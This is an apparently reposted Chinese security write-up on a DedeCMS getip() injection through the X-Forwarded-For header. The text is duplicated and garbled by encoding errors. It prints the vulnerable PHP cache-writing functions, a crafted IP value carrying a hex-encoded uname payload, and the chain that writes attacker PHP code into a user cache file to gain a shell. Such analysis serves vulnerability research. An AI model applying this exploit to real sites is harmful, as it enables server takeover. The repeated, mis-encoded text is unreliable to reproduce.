Dedecms getip()的漏洞利用代碼
更新時(shí)間:2008年05月19日 19:55:03 作者:
flyh4t在非安全發(fā)布了dedecms getip()的注射漏洞,漏洞本身的成因沒(méi)什么好說(shuō)的老掉牙的X-Forwarded-For的問(wèn)題,我想這個(gè)漏洞很多人都找到了,不過(guò)這個(gè)漏洞的利用有個(gè)地方還是可以說(shuō)說(shuō)的,可以直接得到shell:
author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com
在用戶(hù)登陸后把用戶(hù)信息寫(xiě)如了緩存:\include\inc_memberlogin.php
function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
if(is_array($row))
{
$scrow = $dsql->GetOne(”Select titles From #@__scores where integral<={$row['scores']} order by integral desc”);
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //這里
else return ”;
}
WriteUserInfos()的代碼:
//寫(xiě)入用戶(hù)的會(huì)話(huà)信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).”/cache/user/$tpath/”;
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = “<”.”?php\r\n”;
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”;
foreach($row as $k=>$v){
if(ereg('[^0-9]‘,$k)){
$v = str_replace(”‘”,”\\'”,$v); //這個(gè)是利用的關(guān)鍵
$v = ereg_replace(”(<\?|\?>)”,”",$v);
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”;
}
}
$infos .= “\r\n?”.”>”;
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}
我們構(gòu)造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
mysql> select 0×68656967655C273B706870696E666F28293B2F2F;
+——————————————–+
| 0×68656967655C273B706870696E666F28293B2F2F |
+——————————————–+
| heige\';phpinfo();// |
+——————————————–+
1 row in set (0.00 sec)
利用流程:
A:
else{ //成功登錄
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
$dsql->ExecuteNoneQuery(”update #@__member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”);
B:FushCache()
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
C:WriteUserInfos()
heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();//
===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美閉和前面的'
其中str_replace的部分相當(dāng)于代碼:
<?php
$v=”heige\';phpinfo();//”;
$v = str_replace(”‘”,”\\'”,$v);
print $v;
?>
整個(gè)過(guò)程其實(shí)就是一個(gè)很完整的”二次攻擊”,而str_replace(”‘”,”\\'”,$v);起了關(guān)鍵性的作用
[因?yàn)檫@個(gè)漏洞當(dāng)我pc上有那么段時(shí)間了,這個(gè)文章很多都是憑記憶寫(xiě)的,可能有錯(cuò)誤,有興趣的同學(xué)可以自己跟一下。]
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com
在用戶(hù)登陸后把用戶(hù)信息寫(xiě)如了緩存:\include\inc_memberlogin.php
function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
if(is_array($row))
{
$scrow = $dsql->GetOne(”Select titles From #@__scores where integral<={$row['scores']} order by integral desc”);
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //這里
else return ”;
}
WriteUserInfos()的代碼:
//寫(xiě)入用戶(hù)的會(huì)話(huà)信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).”/cache/user/$tpath/”;
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = “<”.”?php\r\n”;
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”;
foreach($row as $k=>$v){
if(ereg('[^0-9]‘,$k)){
$v = str_replace(”‘”,”\\'”,$v); //這個(gè)是利用的關(guān)鍵
$v = ereg_replace(”(<\?|\?>)”,”",$v);
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”;
}
}
$infos .= “\r\n?”.”>”;
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}
我們構(gòu)造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
mysql> select 0×68656967655C273B706870696E666F28293B2F2F;
+——————————————–+
| 0×68656967655C273B706870696E666F28293B2F2F |
+——————————————–+
| heige\';phpinfo();// |
+——————————————–+
1 row in set (0.00 sec)
利用流程:
A:
else{ //成功登錄
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
$dsql->ExecuteNoneQuery(”update #@__member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”);
B:FushCache()
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
C:WriteUserInfos()
heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();//
===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美閉和前面的'
其中str_replace的部分相當(dāng)于代碼:
<?php
$v=”heige\';phpinfo();//”;
$v = str_replace(”‘”,”\\'”,$v);
print $v;
?>
整個(gè)過(guò)程其實(shí)就是一個(gè)很完整的”二次攻擊”,而str_replace(”‘”,”\\'”,$v);起了關(guān)鍵性的作用
[因?yàn)檫@個(gè)漏洞當(dāng)我pc上有那么段時(shí)間了,這個(gè)文章很多都是憑記憶寫(xiě)的,可能有錯(cuò)誤,有興趣的同學(xué)可以自己跟一下。]
相關(guān)文章
非常不錯(cuò)的腳本入侵基礎(chǔ)知識(shí)總結(jié)
簡(jiǎn)單的說(shuō)來(lái),webshell就是一個(gè)asp或php木馬后門(mén),黑客在入侵了一個(gè)網(wǎng)站后,常常在將這些 asp或php木馬后門(mén)文件放置在網(wǎng)站服務(wù)器的web目錄中,與正常的網(wǎng)頁(yè)文件混在一起。2008-06-06php+mysql注入頁(yè)面實(shí)現(xiàn)
最近在弄靶場(chǎng),原本是打算找一些漏洞程序來(lái)做實(shí)驗(yàn)環(huán)境,但是去找這些程序感覺(jué)太麻煩了,幾段代碼能實(shí)現(xiàn)的東西還是自己寫(xiě)吧2012-07-07變態(tài)入侵之有史以來(lái)最酷的Windows后門(mén)sethc.exe
變態(tài)入侵之有史以來(lái)最酷的Windows后門(mén)sethc.exe...2007-11-11如何防止QQ被盜密碼 比較詳細(xì)找回qq號(hào)的方法
今天小編教大家如何更高幾率的找回QQ密碼,需要的朋友可以參考一下2008-02-02